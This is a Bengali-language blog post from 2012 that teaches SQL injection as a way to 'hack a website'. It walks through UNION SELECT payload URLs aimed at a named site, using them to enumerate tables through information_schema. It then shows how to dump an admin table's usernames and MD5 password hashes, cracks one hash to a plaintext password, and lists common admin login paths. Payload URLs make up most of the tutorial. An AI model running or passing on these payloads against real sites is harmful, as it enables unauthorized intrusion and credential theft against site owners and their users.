Thursday, April 5, 2012

what is SQL and how to hack a website

SQL injection কি ?

 হ্যাকিং করার অনেকগুলো পদ্ধতি আছে। আর এর মধ্যে সবচেয়ে যেটা বেশি জনপ্রিয় সেটা হল SQL. অনেকেই হয়ত জানেন না SQL এর পূর্ণরূপ। SQL এর পূর্ণরূপ হল Structured Query Language. এটা একটি হাই লেভেল ল্যাঙ্গুয়েজ। যেটা মানুষকে স্তব্দ করে দেয়। :) যেমনঃ- select, add data, delete data, update data এর জন্য যথাক্রমে SELECT,INSERT,DELETE,UPDATE কোয়ারিগুলো ব্যবহৃত হয় এখানে। সাধারণত SQL ডাটাবেজ ডিজাইনের জন্য ব্যবহৃত হয়। তথ্য সাধারণত ডাটাবেজে সেভ থাকে। আর SQL injection এর কাজ হল একটি ত্রুটিপূর্ণ এ্যাপ্লিকেশানের ডাটাবেজের ত্রুটি বের করে এখানে আক্রমণ করে ডাটাবেজ দেখা ও ডেটাবেজের সম্পূর্ণ নিয়ন্ত্রণ নিয়ে ফেলা। আর এই ধরনের ডেটাবেজের লিংক  দেখতে এমন হয়
www.anything.com/something.php?something=something
যেমনঃ-
www.tartanarmy.com/news/news.php?id=130.
এখানে ১৩০ হল, আমরা ডেটাবেজের ১৩০ পার করেছি। এখন আপনি এই লিংকের একদম শেষে একটি চিহ্ন যোগ করে এটার ত্রুটি বের করবেন। চিহ্নটি হল ( ‘ ) । যেমনঃ-
www.tartanarmy.com/news/news.php?id=130'
তাহলে একটি ইরর দেখাবে।

https://www.facebook.com/unselected
এবার একটু বেসিক জিনিস দেখেনঃ—–>
প্রত্যেক ডাটাবেজ সার্ভারের উপর ডাটাবেজ আছে। তাই না ?? আবার প্রত্যেক ডেটাবেজের টেবিলও রয়েছে। আবার প্রত্যেকটি টেবিলের রয়েছে বিভিন্ন কলাম। আর এই কলামগুলোতে থাকে ডাটা সংরক্ষিত।

https://www.facebook.com/unselected

https://www.facebook.com/unselected
উপরের ছবিতে দেখুন ডাটাবেজ আছে ৬টা আমরা “explore_hacking” ডাটাবেজটা সিলেক্ট করলাম। এটার দেখুন ৪টা টেবিল আছে admin, articles, products, subscribers. প্রতিটি টেবিলের রয়েছে আরও কলাম ও ডেটা। যেমনঃ- আমি ‘admin’ টেবিলটি সিলেক্ট করলাম। এখন দেখূন, এটা রয়ে id, username, password, email কলাম। আর এই সম্পর্কে আরও বিস্তারিত জানতে আমার phpmyadmin টিউটোরিয়াল ও PHP & MySQL টিউটোরিয়ালগুলো দেখূন। তাহলে আরও ভাল করে বুঝতে পারবেন।

information_schema কি ?

এটা হল information database. আর এটি SQL database severs(version>5) এ ডিফল্ট ভাবে থাকে। এখানে সব ধরনের তথ্য সংরক্ষিত থাকে। যেমনঃ- টেবিলের নাম, কলামসহ সব তথ্য।

https://www.facebook.com/unselected
এখন আমারা “information_schema” ডেটাবেজটি ওপেন করলাম। আর এই ডেটাবেজের টেবিলটির নাম হল ”TABLES”

https://www.facebook.com/unselected
————————————————————————————————————————————————————
এতক্ষণ পর্যন্ত যত বকবক করলাম এটা কিন্তু টিউটোরিয়ালে অংশবিশেষ। এক ঢিলে দুই পাখি মারার ব্যবস্থা করলাম আপনাদের জন্য। এবার আমরা যাবো, মূল টিউটোরিয়ালে। আপনি যাবেন ???? আসেন ঘুরে আসি, কি করা যায়। একদমই বিস্তারিত ভাবে শিখুন। একদমই সহজ পদ্ধতিতে।
————————————————————————————————————————————————————

-: SQL Injection টিউটোরিয়াল :-

প্রথমে এখানে লগইন করুন।
http://www.tartanarmy.com/news/news.php?id=130
শুধু url দিলেই হবে না। এখানের ভ্যালুয়ারেবল কলাম খুঁজে বের করতে হবে। একবার একটা টিউটোরিয়ার শুরু করেছিলাম SQL এর উপর। কিন্তু সেটার ৩ পর্ব লিখে থেকে গিয়ে ছিলাম। কারণ অনেক চিন্তা ভাবনা, সময়সহ আরও অনেক ঝামেলার কারণে সেটা আর করতে পারি নি। কিন্তু চিন্তা আছে সমানে দুটা একসাথে শুরু করবো। BackTrack ও SQL . সাথেই থাকবেন।

কলাম কিভাবে বের করবেনঃ-

এখানে আমারা “ORDER BY” clause ব্যবহার করবো। এটা ব্যবহার করা হয় যাতে sort the columns এর জন্য। এখন যে  কোন একটি নাম্বার সিলেক্ট করুন। যেমনঃ- 10. “–” এটি ব্যবহার করা হয়, কমেন্টের পরে কিছু করার জন্য।
এবার url টিতে যান
http://www.tartanarmy.com/news/news.php?id=130 order by 10--
উপরের লিংকটি কপি করে ব্রাউজারে পেষ্ট করুন। অথবা এখানে ক্লিক করুন Click here
মূলত এখানে আমরা ১০টি কলাম নির্দিষ্ট করলাম। যখনই আপনি এটা দিলেন, এটি সাথে সাথে একটি ইরর ম্যাসেজ দিলো, তার মানে এখানে কলাম ১০ টি থেকে কম আছে। এবার 10 এর পরিবর্তে 9 দিন।
http://www.tartanarmy.com/news/news.php?id=130 order by 9--
এখন এটি আবারও ইরর দিলো ! তার মানে এখানও এটা বুঝায় যে, কলাম ৯টির চেয়ে কম আছে। এবার আমরা একটু পন্ডিতি করে 9 এর জায়গায় 6 দিলাম।
http://www.tartanarmy.com/news/news.php?id=130 order by 6--
বাহ এটি ইরর দেয় নি। তার মানে আমরা পেয়ে গেছি। এটি যেহেতু কোন ইরর দেয় নি, তার মানে এটির ৬টি কলাম আছে।

vulnerable columns খুঁজে বের করাঃ-

একটু আগে আমরা যা করলাম তাহল, ডেটাবেজটিতে কয়টি কলাম আছে, তা বের করলাম। এখন আমরা বের করলাম কোন কলামটি vulnerable . এবার আমরা “UNION ALL” ও “SELECT” command ব্যবহার করে দেখবো।  130 এর সামনে একটি ড্যাস চিহ্ন (-) দিন।
http://www.tartanarmy.com/news/news.php?id=-130 union select all 1,2,3,4,5,6--.
অথবা এখানে ক্লিক করুন Click here
এখানে আমাদের একটি জোড় সংখ্যা পেত হবে। এখন এখানে দেখুন, যে সংখ্যাটি বোল্ড করা সেটি হল vulnerable columns. এখানে 2 নংটি হল vulnerable

https://www.facebook.com/unselected

database version খুঁজে বের করাঃ-

এবার “@@version” বা “verson()”  দিয়ে most vulnerable column টি রিপ্লেস করুন। তবে এখানে প্রথম কমান্ডটি কাজ না করলে পরেরটা হবে।
http://www.tartanarmy.com/news/news.php?id=-130 union select all 1,@@version,3,4,5,6--
অথবা এখানে ক্লিক করুন Click here
তাহলে আপনি আপনার স্ক্রীণে ভার্সন দেখতে পাবেন। ভার্সন পাবেন ৫.something. মানে ৫ থেকে বেশি পাবেন।  তবে কিছু কিছু ক্ষেত্র ৫ এর কম হয়, কারণ “information_schema” এ কোন ডেটাবেজ থাকে না।

https://www.facebook.com/unselected

table names খুঁজে বের করাঃ-

এবার “table_name” এ ভ্যালুয়ারেবল কলাম দিন।
http://www.tartanarmy.com/news/news.php?id=-130 union select all 1,table_name,3,4,5,6 from   information_schema.tables where table_schema=database()--
অথবা এখানে ক্লিক করুন Click here
আমরা একটি পেলাম

https://www.facebook.com/unselected
এবার সকল টেবিল পেতে ব্যবহার করুন group_concat
http://www.tartanarmy.com/news/news.php?id=-130 union select all 1,group_concat(table_name),3,4,5,6 from information_schema.tables where                                             table_schema=database()--
অথবা এখানে ক্লিক করুন Click here

column names খুঁজে বের করাঃ-

এক রকম সকল টেবিল পেতে এটি ব্যবহার করুন ‘table’ with ‘column’
http://www.tartanarmy.com/news/news.php?id=-130 union select all 1,group_concat(column_name),3,4,5,6 from information_schema.columns where table_schema=database()--
অথবা এখানে ক্লিক করুন Click here
আমরা এখন পরিবর্তনে ‘id’ পেলাম। এটা থেকে আমরা জানব যে, কোন টেবিলের কোন কলাম

https://www.facebook.com/unselected

কলাম থেকে ডাটা নিয়ে আসা

এখন আমরা যে কোন একটি কলাম থেকে ডাটা নিয়ে আসবো। কিন্তু যেটা সবচেয়ে মজার বিষয় সেটা হল username ও password.
এই কলামের প্রথম টেবিল হল tar_admin. এখন আমরা “0x3a” কমান্ডটি ব্যবহার করবো। এটা ব্যবহার করা হয়, যাতে রেজাল্টের একটা সাথে আরেকটা কোলন দিয়ে আলাদা আলাদ থাকে। এটাকে বলে hex of colon.
http://www.tartanarmy.com/news/news.php?id=-130 union select all 1,group_concat(username,0x3a,password),3,4,5,6 from tar_admin--.
অথবা এখানে ক্লিক করুন Click Here

https://www.facebook.com/unselected
তাহলে আমরা ইউজার নেম ও পাসওয়ার্ড পেয়ে যাবো। কিন্তু পাসওয়ার্ড encrypted করা থাকে। বেশির ভাগ encryptions are crackable. এখন যে কোন একটি ইউজারনেম নেন। যেমনঃ- “Sneds”. পাসওয়ার্ড 7d372d3f4ad3116c9e455b20e946dd15 থেকে encrypted করতে হবে।
http://md5crack.com/crackmd5.php
উপরে লিংকে গিয়ে hashed(encrypted) password টি দিন ও ক্র্যাক করে নিন। এখন আমরা পাসওয়ার্ডটি একদমই সহজ ভাষায় পেলাম। আর সেটা হল ‘oorwullie’

ওয়েবসাইটের লগইন পেজ কোথায় পাবো ?

অনেক কষ্টে হ্যাস ক্র্যাক করে পাসওয়ার্ড বের করলাম সাথে ইউজারনেম জোগাড় করলাম। কিন্তু এখন এগুলো দিয়ে উক্ত সাইট ক্র্যাক করবো??? কোন সমস্যা নাই :)
বেশিরভাগ ওয়েবসাইটের লগইন পেজ ডিফল্ট ভাবে এক জায়গায় থাকে। এখন কিছু নমুনা দেখেনঃ——>
www.xyz.com ————————-> www.xyz.com/admin
www.xyz.com ————————-> www.xyz.com/administrator
www.xyz.com ————————-> www.xyz.com/adminlogin
এছাড়াও আপনি admin page finder নামের একটা টুলস ব্যবহার করতে পারেন।

0 comments:

Post a Comment

write here

My dear blog reader please shere this blog with your best friend

X